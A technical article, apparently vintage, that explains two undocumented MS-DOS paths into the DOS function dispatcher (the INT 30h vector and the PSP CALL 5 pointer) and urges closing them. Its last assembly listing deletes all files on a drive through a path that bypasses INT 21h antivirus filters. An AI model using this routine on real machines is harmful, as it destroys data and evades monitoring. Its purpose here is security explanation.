Although totally protecting any IBM PC or compatible from intrusion is impossible, MS-DOS complicates matters by having two "backdoors" that allow access to the DOS function handler INT 21h. These backdoors are poorly documented but still present a huge gap in a PC's security. To have a secure system, it is essential to close and lock these backdoors.

These backdoors allow access to INT 21h through two far pointers that are easily accessible by any program. The first of these pointers is in low memory, at the address reserved for interrupts 30h and 31h (0:00C0 through 0:00C7). Normally an entry in the interrupt vector table contains a dword pointer to the interrupt's handler; however, INT30 and INT31 are in the form of a JMP FAR instruction that points to the alternative DOS function dispatcher (in my version of DOS 3.30: JMP FAR 0274:1446). This allows direct access to DOS without having to go through INT21.

  ALT_DOS_ENTRY:
         POP AX          ; get rid of flags
         POP AX          ; save caller's segment
         POP CS:TEMP     ; save caller's offset
         PUSHF           ; save flags
         CLI             ; kill interrupts
         PUSH AX         ; save caller's segment
         PUSH CS:TEMP    ; save caller's offset
         CMP CL, 24h     ; is CL < max #?
         JA REFUSE RQST  ; no, so invalid
         MOV AH, CL      ; yes, AH=function #
         JMP CONT_INT21  ; and continue INT21

First, the handler expects the return address to be on the stack in an unusual order. Normally, when an interrupt occurs, the CPU pushes the flags onto the stack first, followed by the segment and offset of the caller's return address. However, this entry point apparently expects the flags to be pushed last, after the offset and segment of the return address. Because this routine eventually transfers control to the normal INT21h handler, the handler's first job is to translate the stack into an acceptable form for the eventual IRET. Second, this handler allows only functions 0 through 24h to be executed. Also, since the AX register is destroyed immediately upon entry, the function number is passed through CL and not through AH. Function 0Ch (CLEAR KEYBOARD BUFFER AND GET STDIN) is thus unavailable, as it uses AL for a subfunction value. These limitations may be familiar to former CP/M programmers -- they result from the original MS-DOS designers' desire for CP/M compatibility.

          MOV AX, offset RETURN    ; get return address' offset
          PUSH AX                  ; push flags and return address
          PUSH CS                  ; onto stack in reverse order
          PUSHF                    ; save flags for IRET
          MOV CL, 9                ; display DOS string
          MOV DX, offset MSG       ; this is the message
          PUSH CS
          POP DS                   ; verify that DS = local code
          JMP dword ptr ALT_DOS_PTR; and execute the function

  RETURN:
          MOV AH, 4Ch              ; terminate a process
          INT 21h                  ; via DOS

  ALT_DOS_PTR DW 00C0h,0000        ; entry point for alternative
                                   ; DOS handler (0:00C0h)

  MSG       DB 0Dh, 0Ah, "Example of backdoor MS-DOS"
            DB "function call.",0Dh, 0Ah, 7, "$"

CP/M programmers, however, used a near CALL to execute their DOS function calls. The second backdoor into MS-DOS exists precisely to duplicate this procedure: At offset 5 in every program's PSP (program segment prefix) is a far call instruction that theoretically allows access to DOS by doing a CALL 0005, as CP/M allowed. However, this offset usually shows an instruction similar to: CALL FAR F5C2:A496.

This appears to reference a location in what seems to be either the BIOS or an impossibly high RAM memory area, and the code at this address is usually garbage. So, though this pointer in the PSP has been documented since the beginnings of MS-DOS, most programmers have ignored it.

The problem is that the address shown in the PSP is usually not accurate and before use should be rounded up to the nearest paragraph. Using the previous example, this results in: CALL FAR F5C2:A4A0.

Looking at the code at this address reveals the same instruction seen at the INT30 vector (JMP FAR 0274:1446). Both backdoors, therefore, jump to the alternate DOS function dispatcher. By setting up the stack and registers as described for the first backdoor, the corrected dword pointer can be inserted into the program's data area. A JMP FAR instruction can then be used to execute a limited number of DOS functions.

          MOV AX, offset RETURN    ; get return address' offset
          PUSH AX                  ; push flags and return address
          PUSH CS                  ; onto stack in reverse order
          PUSHF                    ;
          MOV CL, 13h              ; DELETE FCB function
          MOV DX, offset FCB       ; this is the special FCB
          PUSH CS
          POP DS                   ; verify that DS = local code
          JMP dword ptr ALT_DOS_PTR; and execute the function

   RETURN:
          MOV AH, 4Ch              ; terminate the process
          INT 21h                  ; via DOS
  ALT_DOS PTR DW 00C0h, 0000       ; entry point for alternative
                                   ; DOS handler (0:00C0h)

  FCB    DB 0FFh                   ; extended FCB
      DB 5 dup (0)                 ; reserved bytes
      DB 1Fh                       ; all attribute bits set
      DB 0                         ; default drive ID
      DB "????????????"            ; match all files
      DB 19h dup (0)               ; rest of FCB

This dangerous call, therefore, provides the answer to the question asked above: MS-DOS's backdoors present a severe threat to an unsecured system. Even though an anti-viral program may filter INT21h calls, if it doesn't change the vector at 0:00C0, it is easy to destroy all files on a hard disk.